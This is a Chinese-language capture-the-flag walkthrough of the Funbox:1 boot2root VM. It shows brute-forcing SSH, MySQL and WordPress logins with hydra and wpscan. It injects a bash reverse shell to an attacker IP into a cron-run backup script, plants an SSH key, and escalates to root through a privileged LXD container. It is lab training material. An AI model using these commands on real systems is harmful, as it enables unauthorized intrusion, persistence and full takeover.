Funboc:1 Writeup
Boot2Root ! This is a reallife szenario, but easy going. You have to enumerate and understand the szenario to get the root-flag in round about 20min.
This VM is created/tested with Virtualbox. Maybe it works with vmware.
If you need hints, call me on twitter: @0815R2d2
Have fun…
This works better with VirtualBox rather than VMware
环境搭建
导入到VirtualBox到中,切换仅主机模式,Vmware的kaili主机桥接到virtualbox网卡。
使用arp-acan -l发现主机,排除1和29,剩下一个11就是靶机IP了,也可以通过MAC地址确定。
信息收集
命令:nmap -A -T4 -p- -v 192.168.1.11
靶机开放端口:21,22,80,33060
IP绑定域名:funbox.fritz.box
Web程序:WordPress 5.4.2
HTTP服务器:: Apache/2.4.41 (Ubuntu)
把funbox.fritz.box
加入到本地本地hosts后使用浏览器打开web服务,看到了WordPress熟悉的界面,看到了纯英文提示,只能百度翻译了。提示暴力破解,root有两个,mysql和ssh。
漏洞查找
尝试ssh爆破:hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.11 ssh
尝试mysql爆破:hydra -s 33060 -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.11 mysql
MySQL爆破提示版本不符合,我也不知道为什么,知道的评论告诉我。
暂时放弃爆破,转为80端口尝试(惯用套路),使用wpscan扫描wordpress。
命令:wpscan –url http://funbox.fritz.box/ -e u,p
找到admin,joe用户,手动写一个用户字典进行密码爆破
命令:wpscan –url http://funbox.fritz.box/ -U username.txt -P /usr/share/wordlists/rockyou.txt -t 100
成功爆破admin和joe密码,直接使用admin登录后写404shell。
补充:wpscan需要更新,但更新失败;先安装依赖,然后wpscan –updateapt-get install gcc git ruby ruby-dev libcurl4-openssl-dev make zlib1g-dev
WebShell
我们保存编辑的时候发现:无法与站点通信以检查致命错误,因此PHP更改已恢复。您需要通过其他方式上传PHP文件更改,例如使用SFTP。
看来是禁止编辑了,试试其他方法,webshell失败告终!
FTP和SSH
开放了21和22端口,继续尝试登录FTP和SSH,使用admin和joe登录。
admin登录失败,joe成功登录SSH,目录有个mbox文件,是邮件。
后来使用cd ..切换失败:-rbash:cd:受限
1 | 嗨,乔,请告诉搞笑,备份脚本完成了。 |
继续使用joe登录FTP,使用FTP登录成功切换到funny用户目录,下载网站备份。
但我看了一下我就傻眼了,wordpress的登录账号都拿到了,看备份源码有什么用?
然后直接使用FTP把shell脚本上传到网站根目录,但访问显示:WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111)
备份脚本
邮件中说备份脚本完成了,应该有个备份脚本在某处,原来是隐藏文件。
备份脚本应该是会自动执行,我们get下载写上反弹bash后put回去;本地监听5555端口,等待shell反弹。bash -i >& /dev/tcp/192.168.1.15/5555 0>&1
成功反弹funny的shell到kali,执行:find / -name user.txt 2>/dev/null
;没有任何返回,应该没有用户flag。
SSH连接
使用ssh密钥的方式登录funny,用ssh-keygen生成密钥:ssh-keygen -t rsa
id_rsa:私钥
id_rsa.pub:公钥
进入.ssh目录把公钥复制回kali的.ssh目录并保存为id_rsa;并在靶机执行:mv id_rsa.pub authorized_keys
最后在密钥文件目录下执行:ssh [email protected] -i ~/.ssh/id_rsa
成功实现免密登录SSH
ssh-keygen参考文章:https://www.cnblogs.com/shoufeng/p/11022258.html
lxd和lxc提权
通过git将构建好的alpine镜像克隆至本地;git clone https://github.com/saghul/lxd-alpine-builder.git
执行“build -alpine”命令完成最新版本的Alpine镜像构建,此操作必须由root用户完成;./build-alpine
#过程比较慢
执行完上述操作将在本地文件生成一个tar文件,将tar文件放至靶机的/tmp目录中python -m SimpleHTTPServer
或python3 -m http.server 8000
在靶机使用wget http://192.168.1.15:8000/alpine-v3.12-x86_64-20200813_0835.tar.gz
下载到本地
镜像构建完成之后,我们就可以将其以镜像的形式添加进LXD了:lxc image import ./alpine-v3.12-x86_64-20200813_0835.tar.gz --alias myimage
使用lxc image list
可以查看所有镜像列表。
执行lxc init myimage ignite -c security.privileged=true
报错如下是因为lxd没有初始化
执行lcd init进行初始化,存储名称改成dir,其他全部默认即可
初始化完成后依次执行以下命令:
1 | lxc init myimage ignite -c security.privileged=true |
主机根目录挂载到容器/mnt目录,切换到root目录查看flag.txt
lxd提权参考:https://www.freebuf.com/articles/network/216803.html
exploit-db提权
使用exploit-db的提权脚本更快捷,也很方便;不要记住太多命令,直接把tar包下载打本地执行./exploit -f alpine-v3.12-x86_64-20200813_0835.tar.gz